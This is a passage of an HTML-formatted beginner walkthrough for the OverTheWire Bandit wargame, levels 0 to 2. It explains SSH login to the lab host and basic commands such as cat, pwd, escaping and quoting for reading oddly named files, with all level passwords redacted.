&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;overthewire.org&#x2F;wargames&#x2F;bandit&#x2F;bandit0.html&quot;&gt;Bandit 0&lt;&#x2F;a&gt; provides an introduction to SSH and provides a couple useful links for further research.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;ssh.1.html&quot;&gt;ssh manual&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Secure_Shell&quot;&gt;SSH - Wikipedia&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Firstly, let’s discuss what SSH is and how it’s used day-to-day. SSH is a networking protocol that allows secure communication between networked computer systems. This is distinct from the &lt;code&gt;ssh&lt;&#x2F;code&gt; command line program linked above. The program implements the protocol and allows regular users to utilize the SSH protocol for secure communication. The security of SSH is based on &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Public-key_cryptography&quot;&gt;public-key cryptography&lt;&#x2F;a&gt; which you’re welcome to read more about, but many of the details are out of scope for this walkthrough.&lt;&#x2F;p&gt;
&lt;p&gt;The most important thing you need to know about SSH is that it can be used to login to a computer system with a &lt;code&gt;username&lt;&#x2F;code&gt; and &lt;code&gt;password&lt;&#x2F;code&gt; just as if you were physically present. Except in this case it’s another system accessible over the network. This is how it will be used over the course of the Bandit wargame as well as some of the other wargames by OverTheWire.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;It’s worth mentioning that SSH is usually (and preferably) used with an SSH key. More specifically a key-pair. A public key and a private key which are both needed to take advantage of the aforementioned public-key cryptography. I won’t go into detail here, but don’t worry there are a couple later levels that do utilize SSH keys, so I’ll discuss them in more detail when we reach them.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The prompt tells us that both the &lt;code&gt;username&lt;&#x2F;code&gt; and &lt;code&gt;password&lt;&#x2F;code&gt; are &lt;code&gt;bandit0&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Just as important though, is the network location we’ve been provided, &lt;code&gt;bandit.labs.overthewire.org&lt;&#x2F;code&gt;, which we’ll use to connect to level 0. Actually, &lt;code&gt;bandit.labs.overthewire.org&lt;&#x2F;code&gt; is what’s known as a &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Hostname&quot;&gt;hostname&lt;&#x2F;a&gt; or &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Domain_name&quot;&gt;domain name&lt;&#x2F;a&gt;. More specifically, it’s a &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Fully_qualified_domain_name&quot;&gt;fully qualified domain name (FQDN)&lt;&#x2F;a&gt;. You can recognize an FQDN because it will include a &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Top-level_domain&quot;&gt;top-level domain (TLD)&lt;&#x2F;a&gt; such as &lt;code&gt;.com&lt;&#x2F;code&gt;, &lt;code&gt;.net&lt;&#x2F;code&gt;, or &lt;code&gt;.org&lt;&#x2F;code&gt;. This naming system for computers is called the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Domain_Name_System&quot;&gt;Domain Name System (DNS)&lt;&#x2F;a&gt;. Luckily we don’t need to dig into the details here. Just know that one of these FQDNs will resolve to an &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;IP_address&quot;&gt;IP address&lt;&#x2F;a&gt; which can (usually) be used to uniquely identify a computer system on the internet.&lt;&#x2F;p&gt;
&lt;p&gt;This unique name will tell the &lt;code&gt;ssh&lt;&#x2F;code&gt; program what system to connect to. The &lt;code&gt;ssh&lt;&#x2F;code&gt; program expects the user credentials and hostname in the following format &lt;code&gt;ssh:&#x2F;&#x2F;[user@]hostname[:port]&lt;&#x2F;code&gt;. This is explained in the first couple paragraphs of the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;ssh.1.html&quot;&gt;ssh man page&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;ssh connects and logs into the specified destination, which may be specified as either &lt;code&gt;[user@]hostname&lt;&#x2F;code&gt; or a URI of the form &lt;code&gt;ssh:&#x2F;&#x2F;[user@]hostname[:port]&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The elements wrapped in brackets &lt;code&gt;[&lt;&#x2F;code&gt; and &lt;code&gt;]&lt;&#x2F;code&gt; are actually optional. Linux &lt;code&gt;man&lt;&#x2F;code&gt; pages will commonly express the available flags and arguments for a command in this way.&lt;&#x2F;p&gt;
&lt;p&gt;With that knowledge we can now connect to the first level with this command.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;ssh&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; ssh:&#x2F;&#x2F;bandit0@bandit.labs.overthewire.org:2220&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You should be greeted by a banner for the Bandit wargame and a prompt requesting entry of the &lt;code&gt;bandit0&lt;&#x2F;code&gt; password. Enter &lt;code&gt;bandit0&lt;&#x2F;code&gt; and you’re ready to get started.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;It isn’t necessary to solve any of the Bandit levels, but I highly recommend researching DNS. It’s intrinsic to how the internet operates and you’ll likely encounter it again and again if you pursue any area of IT, software, or cybersecurity.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Resources:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.freecodecamp.org&#x2F;news&#x2F;what-is-dns-for-beginners&#x2F;&quot;&gt;What is DNS?&lt;&#x2F;a&gt;: an excellent intro to the basics of DNS by freeCodeCamp&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;implement-dns.wizardzines.com&quot;&gt;Implement DNS in a weekend&lt;&#x2F;a&gt;: if you have some programming experience, I highly recommend following this walkthrough by Julia Evans&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;walkthrough&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#walkthrough&quot; aria-label=&quot;Anchor link for: walkthrough&quot;&gt;Walkthrough&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;level-0&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-0&quot; aria-label=&quot;Anchor link for: level-0&quot;&gt;Level 0&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Now that we’re logged in, it’s time to solve the first level.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a file called readme located in the home directory. Use this password to login to &lt;code&gt;bandit1&lt;&#x2F;code&gt; using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;useful-commands-1&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#useful-commands-1&quot; aria-label=&quot;Anchor link for: useful-commands-1&quot;&gt;Useful commands 1&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;The prompt also provides links to the man pages for several commands.&lt;&#x2F;p&gt;
&lt;p&gt;With perhaps the exception of &lt;code&gt;du&lt;&#x2F;code&gt;. Each of these commands is fundamental for any Linux user who wants to effectively use the command line.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Command&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;ls.1.html&quot;&gt;ls&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;list the files in a directory&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;cd.1posix.html&quot;&gt;cd&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;change your current directory&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;cat.1.html&quot;&gt;cat&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;display the contents of a file&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;file.1.html&quot;&gt;file&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;display information about the content of a file&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;du.1.html&quot;&gt;du&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;display the disk space used by files&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;find.1.html&quot;&gt;find&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;search the file system for files with various parameters such as filename, file type, file size, etc.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;You are &lt;em&gt;highly&lt;&#x2F;em&gt; encouraged to review each of the commands. At the very least check out the &lt;code&gt;cheat.sh&lt;&#x2F;code&gt; page for each. Regardless these are all pretty common, so you’ll get plenty of experience with these commands in later levels.&lt;&#x2F;p&gt;
&lt;p&gt;For now, it should be apparent that one of the above commands should serve to show us the contents of the &lt;code&gt;readme&lt;&#x2F;code&gt; file mentioned in the prompt. The humble &lt;code&gt;cat&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;p&gt;It takes a filename as a parameter. So providing it with the filename &lt;code&gt;readme&lt;&#x2F;code&gt; should print it’s contents.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat readme&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Congratulations on your first steps into the bandit game!!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Please make sure you have read the rules at https:&#x2F;&#x2F;overthewire.org&#x2F;rules&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;If you are following a course, workshop, walkthrough or other educational activity,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;please inform the instructor about the rules as well and encourage them to&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;contribute to the OverTheWire community so we can keep these games free!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;The password you are looking for is: [REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I won’t be providing any of the passwords throughout this walkthrough per the OverTheWire &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;overthewire.org&#x2F;rules&#x2F;&quot;&gt;rules&lt;&#x2F;a&gt;. So get out your notepad and copy those passwords. You’ll need them to return to the last level you’ve completed without completing each level again. Once you’ve done that, you’re ready to continue to Level 1.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-1&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-1&quot; aria-label=&quot;Anchor link for: level-1&quot;&gt;Level 1&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a file called &lt;code&gt;-&lt;&#x2F;code&gt; located in the home directory&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The prompt also provides links to the man pages for the same commands as level 0.&lt;&#x2F;p&gt;
&lt;p&gt;Naturally, you might think to try the &lt;code&gt;cat&lt;&#x2F;code&gt; command again. Afterall, we’re told the password in in the file called &lt;code&gt;-&lt;&#x2F;code&gt;. Let’s try it and see what happens.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat -&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;█&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Strange, you’re left with a blank line on the terminal now. And, if you type some text and press the &lt;code&gt;Enter&lt;&#x2F;code&gt; key, the text is repeated back to the terminal like so.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat -&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;hello there&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;hello there&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The reason for this will become clear if you read the description from the &lt;code&gt;cat&lt;&#x2F;code&gt; man page.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;NAME&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   cat - concatenate files and print on the standard output&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SYNOPSIS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   cat [OPTION]... [FILE]...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;DESCRIPTION&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;   Concatenate FILE(s) to standard output.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;   With no FILE, or when FILE is -, read standard input.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So, according to the description, the parameter &lt;code&gt;-&lt;&#x2F;code&gt;, makes &lt;code&gt;cat&lt;&#x2F;code&gt; read from standard input. You may have guessed this already, but standard input or STDIN is usually what’s entered by the user in the terminal; however, STDIN doesn’t explicitly refer to input from a user. Rather, it refers to a &lt;em&gt;stream&lt;&#x2F;em&gt; of data that is being sent to a program, so it may also refer to files or even the output of other programs that is being passed to other programs.&lt;&#x2F;p&gt;
&lt;p&gt;You’ll most likely hear of this concept of input and output referred to as STDIO or standard input and output. If you’d like to read more, there is an &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.freecodecamp.org&#x2F;news&#x2F;introduction-to-linux&#x2F;#heading-standard-file-streams&quot;&gt;excellent article by freeCodeCamp&lt;&#x2F;a&gt; explaining more about it and many other useful concepts.&lt;&#x2F;p&gt;
&lt;p&gt;There will be opportunities to demonstrate STDIO and IO redirection later, but for this level, all you need to recognize is that &lt;code&gt;-&lt;&#x2F;code&gt; is a special character that tells cat to read input from STDIN instead of a file as we saw before. So to properly refer to the &lt;code&gt;-&lt;&#x2F;code&gt; file, it must be referenced by some other means than the simple filename. There are several ways to accomplish that.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Use &lt;code&gt;.&#x2F;&amp;lt;filename&amp;gt;&lt;&#x2F;code&gt; where &lt;code&gt;&amp;lt;filename&amp;gt;&lt;&#x2F;code&gt; would be &lt;code&gt;-&lt;&#x2F;code&gt; for this example. The &lt;code&gt;.&lt;&#x2F;code&gt; is a special character that is interpreted as the current directory. This is usually implied when we just enter a file by it’s name. However, stating it explicitly allows us to circumvent the special case of using &lt;code&gt;-&lt;&#x2F;code&gt; as an argument to &lt;code&gt;cat&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat .&#x2F;-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Use the full path. On Linux and other Unix-based systems the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Root_directory&quot;&gt;root of the file system&lt;&#x2F;a&gt; can be specified with a &lt;code&gt;&#x2F;&lt;&#x2F;code&gt;. To use this method though we’ll need to know the full path of the &lt;code&gt;-&lt;&#x2F;code&gt; file. To get that we can use the &lt;code&gt;pwd&lt;&#x2F;code&gt; command, which is short for “print working directory”.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ pwd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;home&#x2F;bandit1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To complete the full path for &lt;code&gt;-&lt;&#x2F;code&gt; we just need to append &lt;code&gt;&#x2F;&amp;lt;filename&amp;gt;&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat &#x2F;home&#x2F;bandit1&#x2F;-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;We can also use what is called a glob (&lt;code&gt;*&lt;&#x2F;code&gt;). The glob can be used to execute commands over multiple files at once. For example using the following command will print all files in the current working directory.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat .&#x2F;*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In this example the only file in our current directory is the password file &lt;code&gt;-&lt;&#x2F;code&gt;. But just like the other examples it circumvents the special &lt;code&gt;-&lt;&#x2F;code&gt; argument to &lt;code&gt;cat&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The glob is actually a part of a larger set of &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;bash&#x2F;manual&#x2F;bash.html#Filename-Expansion&quot;&gt;filename expansion&lt;&#x2F;a&gt; features available in Bash. They’re quite useful and we may see more of them in future levels.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;The main takeway from this level is that there are special characters that may change how commands are interpreted on the command line. Some of them will be built-in to whatever shell you’re using, but some may just be conventions like the &lt;code&gt;-&lt;&#x2F;code&gt; character for STDIN and won’t apply to every program. Here is a breakdown of the special characters used in the Bash shell that you might want to watch out for. &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;mywiki.wooledge.org&#x2F;BashGuide&#x2F;SpecialCharacters&quot;&gt;https:&#x2F;&#x2F;mywiki.wooledge.org&#x2F;BashGuide&#x2F;SpecialCharacters&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-2&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-2&quot; aria-label=&quot;Anchor link for: level-2&quot;&gt;Level 2&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a file called &lt;code&gt;spaces in this filename&lt;&#x2F;code&gt; located in the &lt;code&gt;home&lt;&#x2F;code&gt; directory&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This level is similar to Level 1, except that the file is not a special character. Instead it contains special characters, the space █. The space character is essential for the shell to interpret the input text.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat spaces in this filename&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;cat: spaces: No such file or directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;cat: in: No such file or directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;cat: this: No such file or directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;cat: filename: No such file or directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As you can see from above, entering the name as it’s written will cause the &lt;code&gt;cat&lt;&#x2F;code&gt; command to interpret each word in the file as a separate filename.&lt;&#x2F;p&gt;
&lt;p&gt;Just as before, there are a few ways to get around this.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Escape the space characters. In Bash, the backslash &lt;code&gt;\&lt;&#x2F;code&gt; is used as an &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;bash&#x2F;manual&#x2F;bash.html#Escape-Character&quot;&gt;escape character&lt;&#x2F;a&gt;. When the &lt;code&gt;\&lt;&#x2F;code&gt; is used, the following character is interpreted literally. This allows the space characters of the filename to be “escaped”.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat spaces\ in\ this\ filename&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Instead of escaping the spaces individually, the filename can also be surrounded by &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;bash&#x2F;manual&#x2F;bash.html#Single-Quotes&quot;&gt;single quotes&lt;&#x2F;a&gt;. Every character between two single quotes is interpreted literally.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat &amp;#39;spaces in this filename&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Similarly, &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;bash&#x2F;manual&#x2F;bash.html#Double-Quotes&quot;&gt;double quotes&lt;&#x2F;a&gt; can also be used to interpret the surrounded characters literally. However, there are some exceptions, and double quotes allow some special characters to be interpreted. But the space character is not one those, so it is functionally the same as the above example in this case.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat &amp;quot;spaces in this filename&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
